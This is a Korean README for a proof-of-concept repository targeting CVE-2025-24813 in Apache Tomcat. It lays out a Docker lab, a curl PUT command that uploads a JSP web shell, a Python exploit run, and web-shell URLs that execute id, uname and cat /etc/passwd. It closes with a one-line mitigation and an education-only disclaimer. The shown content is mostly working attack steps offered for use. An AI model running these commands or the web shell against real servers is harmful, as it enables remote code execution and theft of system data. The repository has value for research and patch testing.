
Apache Tomcat PUT JSP RCE - CVE-2025-24813 - 익스플로잇 & PoC
이 저장소는 HTTP PUT 메서드를 사용하여 악성 JSP 웹 셸을 배포함으로써 Apache Tomcat에서 원격 코드 실행(RCE)을 유발하는 CVE-2025-24813에 대한 완전한 개념 증명(PoC)을 포함합니다.
🔥 이 익스플로잇은 제대로 보안이 설정되지 않은 Tomcat 인스턴스에서 파일 업로드 및 페이로드 실행을 통해 공격자가 RCE를 달성할 수 있는 방법을 시연합니다.
CVE-2025-24813/
├── docker/
│ ├── Dockerfile
│ └── web.xml
├── exploit/
│ ├── 1_exploit_cve_2025_24813.py
│ └── shell.jsp
├── screenshots/
│ ├── 1_tomcat_running.png
│ ├── 2_docker_started.png
│ ├── 3_upload_shell.png
│ ├── 4_run_python_exploit.png
│ ├── 5_access_shell_whoami.png
│ ├── 6_view_etc_passwd.png
│ ├── 7_run_uname.png
│ ├── 8_run_id.png
│ └── 9_run_pwd.png
├── .gitignore
├── LICENSE
└── README.md
cd docker
sudo docker build -t cve-24813-tomcat .
sudo docker run -it -p 8080:8080 cve-24813-tomcat
📸 
📸 
curl -X PUT --upload-file exploit/shell.jsp http://localhost:8080/shell.jsp
📸 
python3 exploit/1_exploit_cve_2025_24813.py
📸 
http://localhost:8080/shell.jsp?cmd=id
http://localhost:8080/shell.jsp?cmd=uname -a
http://localhost:8080/shell.jsp?cmd=cat /etc/passwd
📸 
📸 
📸 
📸 
📸 
web.xml 또는 서버 구성에서 PUT/DELETE 메서드 비활성화이 프로젝트는 교육 및 연구 목적으로만 제공됩니다. 소유하지 않았거나 테스트 권한이 없는 시스템에 대한 무단 테스트, 악용 또는 사용은 불법이며 비윤리적입니다.